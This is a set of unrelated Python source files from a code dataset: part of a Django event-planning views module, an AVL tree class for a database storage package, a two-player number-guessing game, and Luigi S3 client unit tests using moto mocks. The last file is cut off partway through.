TakenItem.objects.filter(itemLinkID=Item)\n\n if allEventItems != None:\n for itemTaken in allEventItems:\n attendeeEmail = itemTaken.attendeeID.email\n ###sendItemsEmailUpdate(attendeeEmail, hostName, eventName, itemName)\n print(\"Email:\", attendeeEmail)\n itemTaken.delete()\n\n\n################### createInviteLink #################\ndef createInviteLink(eventObject, AttendeeObject):\n print('\\t{}'.format(AttendeeObject.attendeeName))\n\n emailLink = \"http://127.0.0.1:8000/event/\" + eventObject.id + AttendeeObject.attendeeID\n return emailLink\n\n\n################## Print Event Info ##################\ndef printEventInfo(eventObject):\n if (eventObject):\n print('{}'.format(\"*****************************************\"))\n print('{}'.format(\"************** Event Info ***************\"))\n print('{}{}'.format(\"**\\tEvent Name: \", eventObject.name))\n print('{}{}'.format(\"**\\tEvent Creater: \", eventObject.userProfile))\n print('{}{}'.format(\"**\\tLocation: \", eventObject.location))\n print('{}{}'.format(\"**\\tDate: \", eventObject.date))\n print('{}{}'.format(\"**\\tTime: \", eventObject.time))\n print('{}{}'.format(\"**\\tDescription: \", eventObject.description))\n print('{}{}'.format(\"**\\tType: \", eventObject.type))\n print('{}{}'.format(\"**\\tCategory: \", eventObject.get_eventCategory_display()))\n print('{}{}'.format(\"**\\tEventID: \", eventObject.id))\n print('{}'.format(\"*****************************************\"))\n else:\n print('{}'.format(\"************ Event Info *************\"))\n print('{}'.format(\"\\tnil\"))\n print('{}'.format(\"*************************************\"))\n\n\n################## Print Item Info ##################\ndef printItemInfo(itemObject):\n if (itemObject):\n print('{}'.format(\"************** Item Info ***************\"))\n print('{}{}'.format(\"\\tItem: \", itemObject))\n print('{}{}'.format(\"\\tEvent ID: \", itemObject.eventID.id))\n print('{}{}'.format(\"\\tItem ID: \", itemObject.itemID))\n print('{}{}'.format(\"\\tIs Taken: \", itemObject.isTaken))\n print('{}'.format(\"*****************************************\"))\n else:\n print('{}'.format(\"************ Event Info *************\"))\n print('{}'.format(\"\\tnil\"))\n print('{}'.format(\"*****************\"))\n\n\ndef printAttendeeInfo(attendeeObject):\n if (attendeeObject):\n print('{}'.format(\"************** Event Info ***************\"))\n print('{}{}'.format(\"\\tAttendee Name: \", attendeeObject.attendeeName))\n print('{}{}'.format(\"\\tAttendee ID: \", attendeeObject.attendeeID))\n print('{}{}'.format(\"\\tAttendee User ID: \", attendeeObject.userAttendeeID))\n print('{}{}'.format(\"\\tAttendee Event ID: \", attendeeObject.eventID.id))\n print('{}{}'.format(\"\\tAttendee Email: \", attendeeObject.email))\n print('{}{}'.format(\"\\tAttendee RSVP Status: \", attendeeObject.RSVPStatus))\n print('{}'.format(\"*****************************************\"))\n else:\n print('{}'.format(\"************ Event Info *************\"))\n print('{}'.format(\"\\tnil\"))\n print('{}'.format(\"*****************\"))\n\n\n################# Functions used by views #################\n# Will return a string of specified length of alphanumeric characters\ndef createAlphanumericSequence(sequenceLength):\n alphaNumericSequence = ''.join(random.choice(string.ascii_letters + string.digits)\n for digits in range(sequenceLength))\n return alphaNumericSequence\n\n\n###############getParsedEventAddress###################\ndef getParsedEventAddr(groupId):\n valueList = EventInfo.objects.filter(id=groupId).values_list('location', flat=True)\n newList = []\n newList.insert(0, \"query=\")\n newList.extend(valueList[0])\n i = 0\n for value in newList:\n if (value.isspace()):\n newList[i] = \"+\"\n i = i + 1\n address = ''.join(str(s) for s in newList)\n print(address)\n return address\n\n\n####################get public events ###################\ndef getAllPublicEvents():\n eventInfo = EventInfo.objects.filter(type=False).filter(date__gte=(date.today())).order_by('date')\n return eventInfo\n\n\n####################get RSVP status ###################\ndef getRSVPStatus(rsvpNumber):\n NOTATTENDING = 1\n MAYBE = 2\n ATTENDING = 3\n\n RSVPSTATUS = {\n NOTATTENDING: \"not attending\",\n MAYBE: \"undecided\",\n ATTENDING: \"attending\"\n }\n return RSVPSTATUS[rsvpNumber]\n\n\n################### findUserViaEmail #################\ndef findUserViaEmail(emailAddress):\n try:\n eventureUser = UserProfile.objects.get(user__email=emailAddress)\n except UserProfile.DoesNotExist:\n eventureUser = None\n return eventureUser\n\n\n################### findEvent ########################\ndef findEvent(groupID):\n eventInfo = EventInfo.objects.filter(id=groupID)\n return eventInfo\n\n\n################### findUser ########################\n# Pass a django UserID , get a Eventure User\ndef findUser(djangoUserID):\n eventureUser = UserProfile.objects.get(user_id=djangoUserID)\n return eventureUser\n\n\n################### findAttendee ########################\n# Pass a attendeeID get Attendee Object\ndef findAttendee(attendeeID):\n eventureAttendee = Attendee.objects.get(attendeeID=attendeeID)\n return eventureAttendee\n\n\n################# getDefaultPicture ####################\ndef getDefaultPicture(eventCategory):\n if (eventCategory == 0):\n return \"event_photos/defaultimgs/nothingEventGeneric.jpg\"\n elif (eventCategory == 1):\n return \"event_photos/defaultimgs/partyEventGeneric.jpg\"\n elif (eventCategory == 2):\n return \"event_photos/defaultimgs/educationEventGeneric.jpg\"\n elif (eventCategory == 3):\n return \"event_photos/defaultimgs/musicEventGeneric.jpg\"\n elif (eventCategory == 4):\n return \"event_photos/defaultimgs/fooddrinkEventGeneric.jpg\"\n elif (eventCategory == 5):\n return \"event_photos/defaultimgs/moviesEventGeneric.jpg\"\n elif (eventCategory == 6):\n return \"event_photos/defaultimgs/artEventGeneric.jpg\"\n elif (eventCategory == 7):\n return \"event_photos/defaultimgs/technologyEventGeneric.jpg\"\n elif (eventCategory == 8):\n return \"event_photos/defaultimgs/healthEventGeneric.jpg\"\n elif (eventCategory == 9):\n return \"event_photos/defaultimgs/outdoorsEventGeneric.jpg\"\n elif (eventCategory == 10):\n return \"event_photos/defaultimgs/sportsEventGeneric.jpg\"\n else:\n return \"event_photos/defaultimgs/noneEventGeneric.jpg\"\n\n\n######Poll views\n\ndef createPoll(request, eventID):\n instance = EventInfo.objects.get(id=eventID)\n if (request.user.is_authenticated):\n currentUser = findUser(request.user.id)\n\n ### Formset Setup\n # EmailFormSet = formset_factory(EmailInviteeForm)\n # pollForm = CreatePollForm()\n # ItemFormSet = formset_factory(ItemForm, extra=3)\n ChoiceFormSet = formset_factory(PollChoiceForm, extra=2)\n\n if currentUser == instance.userProfile:\n currentEvent = EventInfo.objects.get(id=eventID)\n # guests = Attendee.objects.filter(eventID=eventID, RSVPStatus=3)\n\n if request.method == 'POST':\n pollForm = CreatePollForm(request.POST)\n\n if pollForm.is_valid():\n pollQuestion = pollForm.cleaned_data[\"question\"]\n currentPoll = Poll(pollQuestion, eventID)\n print(currentPoll)\n choiceCreationFormset = ChoiceFormSet(request.POST, prefix='choice')\n for choice in choiceCreationFormset:\n if choice.is_valid():\n if choice.has_changed():\n choice_text = choice.cleaned_data[\"choice_text\"]\n\n newChoice = Choice(poll=currentPoll.pollID, choice_text=choice_text, votes=0)\n print(newChoice)\n newChoice.save()\n printItemInfo(newChoice)\n else:\n pollForm = CreatePollForm()\n mapping = {'pollForm': pollForm,\n 'ChoiceFormSet': ChoiceFormSet,\n }\n\n return render(request, 'createPoll.html', mapping)\n","sub_path":"main_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":35291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"400539884","text":"# AVL Mode Package\n# Released under MIT License\n# Copyright (c) 2020 TytusDb Team\n# Developers: SG#16\n\n\nfrom ..Models.node import Node\n\n\nclass AVLTree:\n def __init__(self, database: str, name: str, numberColumns: int, pklist: list = []):\n self.root = None\n self.database = database\n self.name = name\n self.numberColumns = int(numberColumns)\n self.pklist = pklist\n self.hidden = 1\n\n def __repr__(self) -> str:\n return str(self.name)\n\n # region basic methods\n def add(self, index, content):\n self.root = self.__add(index, content, self.root)\n\n def __add(self, index, content, node):\n if node is None:\n return Node(index, content)\n elif index < node.index:\n node.left = self.__add(index, content, node.left)\n node = self.__balance(node)\n elif index > node.index:\n node.right = self.__add(index, content, node.right)\n node = self.__balance(node)\n return node # depends of the event returns different node to be the root\n\n def search(self, index):\n return self.__search(index, self.root)\n\n def __search(self, index, node):\n if node:\n if node.index == index:\n return node.content\n elif node.index < index:\n content = self.__search(index, node.right)\n else:\n content = self.__search(index, node.left)\n return content\n return None\n\n def update(self, index, content):\n self.root = self.__update(index, content, self.root)\n\n def __update(self, index, content, node):\n if node:\n if node.index == index:\n node.content = content\n return node\n elif node.index < index:\n node.right = self.__update(index, content, node.right)\n else:\n node.left = self.__update(index, content, node.left)\n return node\n return None\n\n def tolist(self) -> list:\n return self.__tolist(self.root, tuples=[]) if self.root is not None else []\n\n def __tolist(self, node: Node, tuples: list) -> list:\n if node:\n tuples.append(node.content)\n self.__tolist(node.left, tuples)\n self.__tolist(node.right, tuples)\n return tuples\n\n def indexes(self) -> list:\n return self.__indexes(self.root, indexes=[]) if self.root is not None else []\n\n def __indexes(self, node: Node, indexes: list) -> list:\n if node:\n indexes.append(node.index)\n self.__indexes(node.left, indexes)\n self.__indexes(node.right, indexes)\n return indexes\n\n def massiveupdate(self, action: str, arg):\n self.__massiveupdate(self.root, action, arg)\n\n def __massiveupdate(self, node, action: str, arg):\n if node:\n if action == \"add\":\n node.content.append(arg)\n elif action == \"drop\" and isinstance(arg, int):\n if int(arg) < len(node.content):\n del node.content[int(arg)]\n else:\n return\n self.__massiveupdate(node.left, action, arg)\n self.__massiveupdate(node.right, action, arg)\n\n def delete(self, index):\n self.root = self.__delete(index, self.root)\n self.root = self.__balance(self.root)\n\n def __delete(self, index, node):\n if node:\n if node.index == index:\n if node.left:\n tmp, up = self.__rightmost(node.left, node)\n first = True if tmp == node.left else False\n node.index = tmp.index\n node.content = tmp.content\n\n if tmp.left:\n tmp = self.exchange(tmp, tmp.left)\n else:\n if first:\n up.left = None\n else:\n up.right = None\n else:\n if node.right:\n return self.exchange(node, node.right)\n return None\n elif node.index < index:\n node.right = self.__delete(index, node.right)\n else:\n node.left = self.__delete(index, node.left)\n return node\n\n def range(self, columnNumber: int, lower: any, upper: any) -> list:\n tuples = []\n return self.__range(self.root, tuples, columnNumber, lower, upper) if self.root is not None else []\n\n def __range(self, node: Node, tuples: list, columnNumber: int, lower: any, upper: any) -> list:\n if node:\n if isinstance(node.content[columnNumber], int):\n if int(lower) <= node.content[columnNumber] <= int(upper):\n tuples.append(node.content)\n elif isinstance(node.content[columnNumber], str):\n if str(lower) <= node.content[columnNumber] <= str(upper):\n tuples.append(node.content)\n elif isinstance(node.content[columnNumber], float):\n if float(lower) <= node.content[columnNumber] <= float(upper):\n tuples.append(node.content)\n elif isinstance(node.content[columnNumber], bool):\n if bool(lower) <= node.content[columnNumber] <= bool(upper):\n tuples.append(node.content)\n self.__range(node.left, tuples, columnNumber, lower, upper)\n self.__range(node.right, tuples, columnNumber, lower, upper)\n return tuples\n\n # endregion\n\n # region other methods\n def __rightmost(self, node, up):\n if node.right:\n return self.__rightmost(node.right, node)\n else:\n return node, up\n\n @staticmethod\n def exchange(node, new):\n node.index = new.index\n node.content = new.content\n node.left = new.left\n node.right = new.right\n return node\n\n def __balance(self, node):\n if node:\n if node.left:\n node.left = self.__balance(node.left)\n if node.right:\n node.right = self.__balance(node.right)\n\n node.height = self.greater(node.left, node.right) + 1\n if abs(self.difference(node, 'r')) == 2:\n if self.height(node.left) > self.height(node.right):\n node = self.__DR(node, 'l') if self.height(node.left.left) < \\\n self.height(node.left.right) else self.__SR(node, 'l')\n else:\n node = self.__DR(node, 'r') if self.height(node.right.left) > \\\n self.height(node.right.right) else self.__SR(node, 'r')\n return node\n\n # endregion\n\n # region calculation methods\n\n @staticmethod\n def height(temp):\n if temp is None:\n return -1\n else:\n return temp.height\n\n def difference(self, node, first):\n if first == 'l':\n return self.height(node.left) - \\\n self.height(node.right)\n else:\n return self.height(node.right) - \\\n self.height(node.left)\n\n def greater(self, left, right):\n left = self.height(left)\n right = self.height(right)\n return (left, right)[right > left]\n\n # endregion\n\n # region rotations\n def __SR(self, node, type):\n if type == 'l':\n tmp = node.left\n node.left = tmp.right\n tmp.right = node\n node.height = self.greater(node.left, node.right) + 1\n tmp.height = self.greater(tmp.left, node) + 1\n return tmp\n elif type == 'r':\n tmp = node.right\n node.right = tmp.left\n tmp.left = node\n node.height = self.greater(node.left, node.right) + 1\n tmp.height = self.greater(tmp.right, node) + 1\n return tmp\n\n def __DR(self, node, type):\n if type == 'l':\n node.left = self.__SR(node.left, 'r')\n return self.__SR(node, 'l')\n elif type == 'r':\n node.right = self.__SR(node.right, 'l')\n return self.__SR(node, 'r')\n\n # endregion\n\n # region traversals\n def preorder(self):\n print(\"Preorder: \")\n self.__preorder(self.root)\n print()\n\n def __preorder(self, temp):\n if temp:\n print(temp.index, end=' ')\n self.__preorder(temp.left)\n self.__preorder(temp.right)\n # backtracking action\n\n def inorder(self):\n print(\"Inorder: \")\n self.__inorder(self.root)\n print()\n\n def __inorder(self, temp):\n if temp:\n self.__inorder(temp.left)\n print(temp.content, end=' ')\n self.__inorder(temp.right)\n # backtracking action\n\n def postorder(self):\n print(\"Postorder: \")\n self.__postorder(self.root)\n print()\n\n def __postorder(self, temp):\n if temp:\n self.__postorder(temp.left)\n self.__postorder(temp.right)\n print(temp.index, end=' ')\n # backtracking action\n # endregion\n","sub_path":"storage/team16/Models/avl_tree.py","file_name":"avl_tree.py","file_ext":"py","file_size_in_byte":9176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"618415663","text":"\"\"\"\nAuthor = aditya\nDate = 18-05-2021\npurpose : programing solution \n\"\"\"\nimport random\ntry:\n a = int(input(\"Enter the value of a:\")) #input the value of range\n b = int(input(\"Enter the value of b:\"))# input the value of range\nexcept:\n print(\"Enetr the number only !\") #if the value of a is not integer the the program exit \n exit()\ntry:\n random_number = random.randint(a, b) # if the vaue of a is greater than b te program return with error\nexcept:\n print(\"This is Not a valid range\")\n exit()\n\n\ndef gusser(): \n \"\"\"\n This function return the the number if the number is same or the number is diffrent \n and same time the function return the no of the guess the number \n \"\"\"\n no_turns = 1 # it start from 1\n print(\"you have 9 attempt to finish tha game \\n\") # print the user guess\n while (no_turns < 9): # run a while loop for the nine time \n user_input = int(input(\"Guess the number:\\n\")) #takes the number of guess\n if user_input > random_number: \n print(\"oho ! Guess the lesser number :\\n\")\n elif user_input < random_number:\n print(\"oho ! Guess the heighest number :\\n\")\n else:\n print(f\"congrats ! you Guess the correct number \\n \")\n global number # create a global variable \n number = no_turns # and this variable is acces by the outside the function \n\n break\n # print(f\"No of guess yo have to lef is {9 -no_turns}\\n\")\n no_turns += 1\n\n\nprint(\"player 1 turn\")## olayer 1 play the game \npalyer1 = gusser()\nplayer1_number = number\n\n\nprint(\"player 2 turn\")# palyer 2 play tha game \nplayer2 = gusser()\nplayer2_number = number\n\nif int(player1_number) > int(player2_number):\n print(\"player 2 won the game !\")\nelif int(player1_number) < int(player2_number):\n print(\"player 1 won the game \")\nelse:\n print(\"game draw \") ","sub_path":"problem_statement/guess.py","file_name":"guess.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"618518385","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2013 Mortar Data\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License. You may obtain a copy of\n# the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n#\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport tempfile\n\nfrom target_test import FileSystemTargetTestMixin\nfrom helpers import with_config, unittest\n\nfrom boto.exception import S3ResponseError, S3CopyError\nfrom boto.s3 import key\nfrom mock import Mock, DEFAULT, patch\nfrom moto import mock_s3\nfrom moto import mock_sts\nfrom luigi import configuration\nfrom luigi.s3 import FileNotFoundException, InvalidDeleteException, S3Client, S3Target, S3FlagTarget\n\nif (3, 4, 0) <= sys.version_info[:3] < (3, 4, 3):\n # spulec/moto#308\n raise unittest.SkipTest('moto mock doesn\\'t work with python3.4')\n\n\nAWS_ACCESS_KEY = \"XXXXXXXXXXXXXXXXXXXX\"\nAWS_SECRET_KEY = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n\n\nclass TestS3Target(unittest.TestCase, FileSystemTargetTestMixin):\n\n def setUp(self):\n f = tempfile.NamedTemporaryFile(mode='wb', delete=False)\n self.tempFileContents = (\n b\"I'm a temporary file for testing\\nAnd this is the second line\\n\"\n b\"This is the third.\")\n self.tempFilePath = f.name\n f.write(self.tempFileContents)\n f.close()\n self.mock_s3 = mock_s3()\n self.mock_s3.start()\n self.mock_sts = mock_sts()\n self.mock_sts.start()\n\n def tearDown(self):\n os.remove(self.tempFilePath)\n self.mock_s3.stop()\n\n def create_target(self, format=None):\n client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n client.s3.create_bucket('mybucket')\n return S3Target('s3://mybucket/test_file', client=client, format=format)\n\n def test_read(self):\n client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n client.s3.create_bucket('mybucket')\n client.put(self.tempFilePath, 's3://mybucket/tempfile')\n t = S3Target('s3://mybucket/tempfile', client=client)\n read_file = t.open()\n file_str = read_file.read()\n self.assertEqual(self.tempFileContents, file_str.encode('utf-8'))\n\n def test_read_no_file(self):\n t = self.create_target()\n self.assertRaises(FileNotFoundException, t.open)\n\n def test_read_iterator_long(self):\n # write a file that is 5X the boto buffersize\n # to test line buffering\n old_buffer = key.Key.BufferSize\n key.Key.BufferSize = 2\n try:\n tempf = tempfile.NamedTemporaryFile(mode='wb', delete=False)\n temppath = tempf.name\n firstline = ''.zfill(key.Key.BufferSize * 5) + os.linesep\n contents = firstline + 'line two' + os.linesep + 'line three'\n tempf.write(contents.encode('utf-8'))\n tempf.close()\n\n client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n client.s3.create_bucket('mybucket')\n client.put(temppath, 's3://mybucket/largetempfile')\n t = S3Target('s3://mybucket/largetempfile', client=client)\n with t.open() as read_file:\n lines = [line for line in read_file]\n finally:\n key.Key.BufferSize = old_buffer\n\n self.assertEqual(3, len(lines))\n self.assertEqual(firstline, lines[0])\n self.assertEqual(\"line two\" + os.linesep, lines[1])\n self.assertEqual(\"line three\", lines[2])\n\n\nclass TestS3Client(unittest.TestCase):\n\n def setUp(self):\n f = tempfile.NamedTemporaryFile(mode='wb', delete=False)\n self.tempFilePath = f.name\n f.write(b\"I'm a temporary file for testing\\n\")\n f.close()\n self.mock_s3 = mock_s3()\n self.mock_s3.start()\n\n def tearDown(self):\n os.remove(self.tempFilePath)\n self.mock_s3.stop()\n\n def test_init_with_environment_variables(self):\n os.environ['AWS_ACCESS_KEY_ID'] = 'foo'\n os.environ['AWS_SECRET_ACCESS_KEY'] = 'bar'\n # Don't read any exsisting config\n old_config_paths = configuration.LuigiConfigParser._config_paths\n configuration.LuigiConfigParser._config_paths = [tempfile.mktemp()]\n\n s3_client = S3Client()\n configuration.LuigiConfigParser._config_paths = old_config_paths\n\n self.assertEqual(s3_client.s3.gs_access_key_id, 'foo')\n self.assertEqual(s3_client.s3.gs_secret_access_key, 'bar')\n\n @with_config({'s3': {'aws_access_key_id': 'foo', 'aws_secret_access_key': 'bar'}})\n def test_init_with_config(self):\n s3_client = S3Client()\n self.assertEqual(s3_client.s3.access_key, 'foo')\n self.assertEqual(s3_client.s3.secret_key, 'bar')\n\n @with_config({'s3': {'aws_role_arn': 'role', 'aws_role_session_name': 'name'}})\n def test_init_with_config_and_roles(self):\n s3_client = S3Client()\n self.assertEqual(s3_client.s3.access_key, 'AKIAIOSFODNN7EXAMPLE')\n self.assertEqual(s3_client.s3.secret_key, 'aJalrXUtnFEMI/K7MDENG/bPxRfiCYzEXAMPLEKEY')\n\n def test_put(self):\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n s3_client.put(self.tempFilePath, 's3://mybucket/putMe')\n self.assertTrue(s3_client.exists('s3://mybucket/putMe'))\n\n def test_put_string(self):\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n s3_client.put_string(\"SOMESTRING\", 's3://mybucket/putString')\n self.assertTrue(s3_client.exists('s3://mybucket/putString'))\n\n def test_put_multipart_multiple_parts_non_exact_fit(self):\n \"\"\"\n Test a multipart put with two parts, where the parts are not exactly the split size.\n \"\"\"\n # 5MB is minimum part size\n part_size = (1024 ** 2) * 5\n file_size = (part_size * 2) - 5000\n self._run_multipart_test(part_size, file_size)\n\n def test_put_multipart_multiple_parts_exact_fit(self):\n \"\"\"\n Test a multipart put with multiple parts, where the parts are exactly the split size.\n \"\"\"\n # 5MB is minimum part size\n part_size = (1024 ** 2) * 5\n file_size = part_size * 2\n self._run_multipart_test(part_size, file_size)\n\n def test_put_multipart_less_than_split_size(self):\n \"\"\"\n Test a multipart put with a file smaller than split size; should revert to regular put.\n \"\"\"\n # 5MB is minimum part size\n part_size = (1024 ** 2) * 5\n file_size = 5000\n self._run_multipart_test(part_size, file_size)\n\n def test_put_multipart_empty_file(self):\n \"\"\"\n Test a multipart put with an empty file.\n \"\"\"\n # 5MB is minimum part size\n part_size = (1024 ** 2) * 5\n file_size = 0\n self._run_multipart_test(part_size, file_size)\n\n def test_exists(self):\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n\n self.assertTrue(s3_client.exists('s3://mybucket/'))\n self.assertTrue(s3_client.exists('s3://mybucket'))\n self.assertFalse(s3_client.exists('s3://mybucket/nope'))\n self.assertFalse(s3_client.exists('s3://mybucket/nope/'))\n\n s3_client.put(self.tempFilePath, 's3://mybucket/tempfile')\n self.assertTrue(s3_client.exists('s3://mybucket/tempfile'))\n self.assertFalse(s3_client.exists('s3://mybucket/temp'))\n\n s3_client.put(self.tempFilePath, 's3://mybucket/tempdir0_$folder$')\n self.assertTrue(s3_client.exists('s3://mybucket/tempdir0'))\n\n s3_client.put(self.tempFilePath, 's3://mybucket/tempdir1/')\n self.assertTrue(s3_client.exists('s3://mybucket/tempdir1'))\n\n s3_client.put(self.tempFilePath, 's3://mybucket/tempdir2/subdir')\n self.assertTrue(s3_client.exists('s3://mybucket/tempdir2'))\n self.assertFalse(s3_client.exists('s3://mybucket/tempdir'))\n\n def test_get_key(self):\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n s3_client.put(self.tempFilePath, 's3://mybucket/key_to_find')\n self.assertTrue(s3_client.get_key('s3://mybucket/key_to_find'))\n self.assertFalse(s3_client.get_key('s3://mybucket/does_not_exist'))\n\n def test_is_dir(self):\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n self.assertTrue(s3_client.is_dir('s3://mybucket'))\n\n s3_client.put(self.tempFilePath, 's3://mybucket/tempdir0_$folder$')\n self.assertTrue(s3_client.is_dir('s3://mybucket/tempdir0'))\n\n s3_client.put(self.tempFilePath, 's3://mybucket/tempdir1/')\n self.assertTrue(s3_client.is_dir('s3://mybucket/tempdir1'))\n\n s3_client.put(self.tempFilePath, 's3://mybucket/key')\n self.assertFalse(s3_client.is_dir('s3://mybucket/key'))\n\n def test_remove(self):\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n\n self.assertRaises(\n S3ResponseError,\n lambda: s3_client.remove('s3://bucketdoesnotexist/file')\n )\n\n self.assertFalse(s3_client.remove('s3://mybucket/doesNotExist'))\n\n s3_client.put(self.tempFilePath, 's3://mybucket/existingFile0')\n self.assertTrue(s3_client.remove('s3://mybucket/existingFile0'))\n self.assertFalse(s3_client.exists('s3://mybucket/existingFile0'))\n\n self.assertRaises(\n InvalidDeleteException,\n lambda: s3_client.remove('s3://mybucket/')\n )\n\n self.assertRaises(\n InvalidDeleteException,\n lambda: s3_client.remove('s3://mybucket')\n )\n\n s3_client.put(self.tempFilePath, 's3://mybucket/removemedir/file')\n self.assertRaises(\n InvalidDeleteException,\n lambda: s3_client.remove('s3://mybucket/removemedir', recursive=False)\n )\n\n @patch('boto.s3.bucket.Bucket.delete_key')\n def test_remove_retries(self, delete_key):\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n\n error = S3ResponseError(500, \"Failure!\")\n error.error_code = 500\n delete_key.side_effect = [error, error, 'somekey']\n\n file_path = 's3://mybucket/500error/file'\n s3_client.put(self.tempFilePath, file_path)\n # Should fail first two times and succeed on third\n self.assertTrue(lambda: s3_client.remove(file_path, number_of_retries=3, retry_interval_seconds=0))\n\n def test_remove_deletes_directory_marker_files(self):\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n s3_client.put(self.tempFilePath, 's3://mybucket/removemedir')\n s3_client.put(self.tempFilePath, 's3://mybucket/removemedir_$folder$')\n s3_client.put(self.tempFilePath, 's3://mybucket/removemedir/file')\n\n self.assertTrue(s3_client.remove('s3://mybucket/removemedir/'))\n self.assertFalse(s3_client.exists('s3://mybucket/removemedir/'))\n self.assertFalse(s3_client.exists('s3://mybucket/removemedir/file'))\n self.assertFalse(s3_client.exists('s3://mybucket/removemedir_$folder$'))\n\n def test_s3flagtarget_remove_deletes_everything(self):\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n\n # When Hadoop/Spark writes out files, they create `/` key which should be removed as well.\n # Data should be removed even though the flag file (_SUCCESS) doesn't exist.\n s3_client.put(self.tempFilePath, 's3://mybucket/flagtarget_$folder$')\n s3_client.put(self.tempFilePath, 's3://mybucket/flagtarget/')\n s3_client.put(self.tempFilePath, 's3://mybucket/flagtarget/file')\n\n S3FlagTarget('s3://mybucket/flagtarget/').remove()\n self.assertFalse(s3_client.exists('s3://mybucket/flagtarget_$folder$'))\n self.assertFalse(s3_client.exists('s3://mybucket/flagtarget/'))\n self.assertFalse(s3_client.exists('s3://mybucket/flagtarget/file'))\n\n # If a directory was partially written, we should still delete the partial data\n # Ex: only the directory marker was written, it should still be deleted.\n s3_client.put(self.tempFilePath, 's3://mybucket/flagtarget_$folder$')\n S3FlagTarget('s3://mybucket/flagtarget/').remove()\n self.assertFalse(s3_client.exists('s3://mybucket/flagtarget_$folder$'))\n\n def test_copy(self):\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n\n s3_client.put(self.tempFilePath, 's3://mybucket/foo/f1')\n s3_client.put(self.tempFilePath, 's3://mybucket/foo/f2')\n\n self.assertFalse(s3_client.exists('s3://mybucket/bar/f1'))\n self.assertFalse(s3_client.exists('s3://mybucket/bar/f2'))\n\n s3_client.copy('s3://mybucket/foo', 's3://mybucket/bar')\n\n self.assertTrue(s3_client.exists('s3://mybucket/bar/f1'))\n self.assertTrue(s3_client.exists('s3://mybucket/bar/f2'))\n\n def test_failed_copy_key(self):\n s3_client = S3Client(AWS_ACCESS_KEY, AWS_SECRET_KEY)\n s3_client.s3.create_bucket('mybucket')\n\n s3_client.put(self.tempFilePath, 's3://mybucket/foo/f1')\n s3_client.put(self.tempFilePath, 's3://mybucket/foo/f2')\n s3_client.put(self.tempFilePath, 's3://mybucket/lotsoffailures/f1')\n s3_client.put(self.tempFilePath, 's3://mybucket/lotsoffailures/f2')\n self.assertFalse(s3_client.exists('s3://mybucket/bar/f1'))\n self.assertFalse(s3_client.exists('s3://mybucket/bar/f2'))\n self.assertFalse(s3_client.exists('s3://mybucket/greenerpastures/f1'))\n self.assertFalse(s3_client.exists('s3://mybucket/greenerpastures/f2'))\n\n class ThrowAFewExceptions(object):\n def __init__(self, num_exceptions):\n self.num_exceptions = num_exceptions\n self.calls = 0\n\n def do(self, *args):\n self.calls += 1\n if self.calls <= self.num_exceptions:\n raise S3CopyError(500, \"Failed!\")\n else:\n return DEFAULT\n\n mock_s3_bucket = Mock(wraps=s3_client.s3.get_bucket('mybucket'))\n mock_s3_bucket.copy_key.side_effect = ThrowAFewExceptions(1).do\n\n mock_s3 = Mock(wraps=s3_client.s3)\n s3_client.s3 = mock_s3\n mock_s3.get_bucket.return_value = mock_s3_bucket\n\n self.assertRaises(S3CopyError, s3_client.copy, 's3://mybucket/foo', 's3://mybucket/bar', num_retries=0, sleep_increment_sec=0.1)\n\n self.assertFalse(s3_client.exists('s3://mybucket/bar/f1'))\n self.assertFalse(s3_client.exists('s3://mybucket/bar/f2'))\n\n # Reset exception\n mock_s3_bucket.copy_key.side_effect = ThrowAFewExceptions(1).do\n s3_client.copy('s3://mybucket/foo', 's3://mybucket/bar', num_retries=1, sleep_increment_sec=0.1)\n\n self.assertTrue(s3_client.exists('s3://mybucket/bar/f1'))\n self.assertTrue(s3_client.exists('s3://mybucket/bar/f2'))\n\n # Try with lots of failures\n last_side_effect_class = ThrowAFewExceptions(5)\n mock_s3_bucket.copy_key.side_effect = last_side_effect_class.do\n self.assertRaises(S3CopyError, s3_client.copy, 's3://mybucket/lotsoffailures', 's3://mybucket/greenerpastures', sleep_increment_sec=0.1)\n\n self.assertFalse(s3_client.exists('s3://mybucket/greenerpastures/f1'))\n self.assertFalse(s3_client.exists('s3://mybucket/greenerpastures/f2'))\n self.assertEquals(4, last_side_effect_class.calls)\n\n def _run_multipart_test(self, part_size, file_size):\n file_contents = b\"a\" 